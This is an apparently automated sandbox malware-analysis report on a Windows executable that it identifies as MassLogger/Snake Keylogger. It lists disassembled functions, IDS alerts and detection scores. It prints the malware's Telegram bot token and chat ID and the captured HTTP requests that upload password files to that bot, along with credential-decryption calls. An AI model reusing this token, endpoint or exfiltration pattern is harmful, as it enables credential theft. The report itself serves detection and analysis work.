Opcode Fuzzy Hash: df6e64e4f6769b316d4c1c7beb25aaa03b2c49ca2ab4503c480f7fe4b4eab687
Instruction Fuzzy Hash: B4F0F439109E5116D62233365D09BEF0548CF82354B5A853BFC91B22D2DB3C8A539DFE

Function 004053C4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 004053F3
CallWindowProcW.USER32(?,?,?,?), ref: 00405444

Part of subcall function 004043AB: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004043BD

Strings

, xrefs: 004053D4

Memory Dump Source

Source File: 00000005.00000002.2707337668.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2707312739.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707353057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707367429.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707393078.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 36caebe1fe8aa1eff7ff321662443c514d6827d4f2801b7b393fcb4226acda68
Instruction ID: 343f6187318c33bb175646012d6cb398530476c6c15fe8dd96994d534b9a6b17
Opcode Fuzzy Hash: 36caebe1fe8aa1eff7ff321662443c514d6827d4f2801b7b393fcb4226acda68
Instruction Fuzzy Hash: CC0171B1200609ABDF305F11DD84B9B3666EBD4356F508037FA00761E1C77A8DD29A6E

Function 00405F0D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405F2B
GetTempFileNameW.KERNEL32(?,?,00000000,?,?,?,00435000,004034A3,00437000,00437800,00437800,00437800,00437800,00437800,75573420,004036EF), ref: 00405F46

Strings

nsa, xrefs: 00405F1A

Memory Dump Source

Source File: 00000005.00000002.2707337668.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2707312739.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707353057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707367429.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707393078.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction ID: 076564571966e4dc9ef4834731be4d502634ae0aeddccfca5b4533d1bab5a213
Opcode Fuzzy Hash: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction Fuzzy Hash: 14F09076601204FFEB009F59ED05E9BB7A8EB95750F10803AEE00F7250E6B49A548B68

Function 004059D1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00426730,Error launching installer), ref: 004059FA
CloseHandle.KERNEL32(?), ref: 00405A07

Strings

Error launching installer, xrefs: 004059E4

Memory Dump Source

Source File: 00000005.00000002.2707337668.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2707312739.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707353057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707367429.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707393078.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 6d78ed6c6b667bfe634139d4e18f22187190c1a967eebebbcf2d401a0833c7e8
Instruction ID: 166b032e71181ba573d10d742cd21a74b10ba840f41c43b266edefbe5b435367
Opcode Fuzzy Hash: 6d78ed6c6b667bfe634139d4e18f22187190c1a967eebebbcf2d401a0833c7e8
Instruction Fuzzy Hash: E5E04FB0A102097FEB009B64ED49F7B76ACFB04208F404531BD00F2150D774A8208A7C

Function 00406F27 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2707337668.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2707312739.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707353057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707367429.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707393078.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction ID: 2bd06e12bed6e0bcd81d630d0cd78bd49004ac77cb8b5ebb757de7108a839e92
Opcode Fuzzy Hash: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction Fuzzy Hash: 1DA14471E04228CBDF28CFA8C8446ADBBB1FF44305F14806ED856BB281D7786A86DF45

Function 00407128 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2707337668.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2707312739.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707353057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707367429.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707393078.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction ID: f1da02a2f8b93330a3d469e31e6e9edf047fa596270f1f1d86c95cc791e20b04
Opcode Fuzzy Hash: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction Fuzzy Hash: AA910271E04228CBEF28CF98C8447ADBBB1FB45305F14816AD856BB291C778A986DF45

Function 00406E3E Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2707337668.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2707312739.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707353057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707367429.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707393078.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction ID: fb1d02f26201205f5bfcbd3029eb7cfad7cca69a3f8c46de7b35964bdd0c3f7d
Opcode Fuzzy Hash: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction Fuzzy Hash: 18814571E04228DFDF24CFA8C844BADBBB1FB45305F24816AD856BB291C7389986DF45

Function 00406943 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2707337668.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2707312739.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707353057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707367429.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707393078.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction ID: 55fc176551b00f8465723d30588461dcf2fc1d3195b414c524ee7a2fcbdbe87b
Opcode Fuzzy Hash: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction Fuzzy Hash: 39815971E04228DBEF24CFA8C844BADBBB1FB45305F14816AD856BB2C1C7786986DF45

Function 00406D91 Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2707337668.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2707312739.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707353057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707367429.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707393078.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction ID: 7645ab34ef40ba223d211dbe726f8302725d3f31b3e808d93cc70016d3e0d248
Opcode Fuzzy Hash: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction Fuzzy Hash: 10711471E04228DBDF24CF98C8447ADBBB1FF49305F15806AD856BB281C7389A86DF45

Function 00406EAF Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2707337668.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2707312739.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707353057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707367429.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707393078.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction ID: a4e19b7408f2815589132e7e2b866ae2b9c8caa40868d81b8a4623295251dea3
Opcode Fuzzy Hash: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction Fuzzy Hash: 0D712571E04218DBEF28CF98C844BADBBB1FF45305F15806AD856BB281C7389986DF45

Function 00406DFB Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2707337668.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2707312739.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707353057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707367429.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707393078.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction ID: 979076adb26e5f1e3e7a9458f232081f51f9a0722543042d1d726f4d31452a21
Opcode Fuzzy Hash: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction Fuzzy Hash: 50714871E04228DBEF28CF98C8447ADBBB1FF45305F15806AD856BB281C7386A46DF45

Function 00405E43 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405E6B
CharNextA.USER32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E7C
lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

Memory Dump Source

Source File: 00000005.00000002.2707337668.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2707312739.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707353057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707367429.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2707393078.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction ID: 3eb9f18af2c16f81f4dc7877ab3147293eaebe45f2d41041cd024b5e05e36bdf
Opcode Fuzzy Hash: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction Fuzzy Hash: 4AF0C831100514AFC7029B94DD4099FBBA8DF06354B25407AE844FB211D634DF01AB98

Source: 00000005.00000002.2734129419.0000000036D6B000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: MassLogger {"EXfil Mode": "Telegram", "Telegram Token": "7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc", "Telegram Chatid": "7382809095"}
Source: ajRZflJ2ch.exe.5060.5.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendMessage"}

Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_36AFD1EC CryptUnprotectData,		5_2_36AFD1EC
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_36AFD9D9 CryptUnprotectData,		5_2_36AFD9D9

Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49906 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49958 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49930 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49958 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49906 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49930 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49918 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49918 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49893 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49893 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49996 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49983 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49983 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49996 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49971 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49877 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49877 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49971 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49998 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49998 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49946 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49946 -> 149.154.167.220:443

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3189d99afcd2Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31a02bcc4d72Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31b5093108a8Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31c9d79a2386Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31de974860eeHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31f60959947bHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd320c0911f197Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32209989e033Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32351af635cdHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32498ceb8d8bHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3189e59bd272Host: api.telegram.orgContent-Length: 1090

Source: Joe Sandbox View	IP Address: 104.21.48.1 104.21.48.1
Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 193.122.6.168 193.122.6.168

Source: ajRZflJ2ch.exe	Virustotal: Detection: 74%			Perma Link
Source: ajRZflJ2ch.exe	ReversingLabs: Detection: 60%

Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 4x nop then jmp 36AFC985h	5_2_36AFC638
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 4x nop then jmp 36AF1042h	5_2_36AF0C28
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 4x nop then jmp 36AF0671h	5_2_36AF03AF
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 4x nop then jmp 36AFE198h	5_2_36AFDEE1
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 4x nop then jmp 36AFEA48h	5_2_36AFE790
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 4x nop then jmp 36AF1042h	5_2_36AF0F6F
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 4x nop then jmp 36AFB791h	5_2_36AFB4EC
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 4x nop then jmp 36AF1042h	5_2_36AF0C1B
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 4x nop then jmp 36AFC041h	5_2_36AFBD9C
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 4x nop then jmp 36AFDD40h	5_2_36AFDA89
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 4x nop then jmp 36AFEEA0h	5_2_36AFEBF4
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 4x nop then jmp 36AFE5F0h	5_2_36AFE339
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 4x nop then jmp 36AFB339h	5_2_36AFB07F
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 4x nop then jmp 36AFF2F8h	5_2_36AFF054
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 4x nop then jmp 36AFC499h	5_2_36AFC1F2
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 4x nop then jmp 36AFBBE9h	5_2_36AFB930
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 4x nop then push 00000000h	5_2_39A8BDF0
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 4x nop then jmp 39A8882Dh	5_2_39A88650
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 4x nop then jmp 39A891B7h	5_2_39A88650
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 4x nop then jmp 39A82C60h	5_2_39A829B8
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 4x nop then jmp 39A823B0h	5_2_39A82108
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 4x nop then jmp 39A84ACAh	5_2_39A84820
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 4x nop then jmp 39A87318h	5_2_39A87070
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 4x nop then jmp 39A81B00h	5_2_39A81858
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 4x nop then jmp 39A84670h	5_2_39A843C8
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 4x nop then jmp 39A83DC0h	5_2_39A83B18
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 4x nop then jmp 39A86610h	5_2_39A86368
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	5_2_39A87B4F
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 4x nop then jmp 39A85D60h	5_2_39A85AB8
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 4x nop then jmp 39A854B0h	5_2_39A85208
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 4x nop then jmp 39A83510h	5_2_39A83268
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 4x nop then jmp 39A85058h	5_2_39A84DB0
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 4x nop then jmp 39A82808h	5_2_39A82560
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 4x nop then jmp 39A81F58h	5_2_39A81CB0
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 4x nop then jmp 39A87770h	5_2_39A874C8
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 4x nop then jmp 39A816A8h	5_2_39A81400
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 4x nop then jmp 39A86EC0h	5_2_39A86C18
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 4x nop then jmp 39A81250h	5_2_39A80FA8
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 4x nop then jmp 39A86A68h	5_2_39A867C0
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 4x nop then jmp 39A861B8h	5_2_39A85F10
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 4x nop then jmp 39A84218h	5_2_39A83F70
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 4x nop then jmp 39A83968h	5_2_39A836C0
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 4x nop then jmp 39A830B8h	5_2_39A82E10
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 4x nop then jmp 39A85908h	5_2_39A85660
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 4x nop then push 00000000h	5_2_39EBE7C8
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 4x nop then push 00000000h	5_2_39EBF316
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 4x nop then lea esp, dword ptr [ebp-08h]	5_2_39EBF5D8

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org
Source: unknown	DNS query: name: checkip.dyndns.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.8:49888 -> 132.226.247.73:80
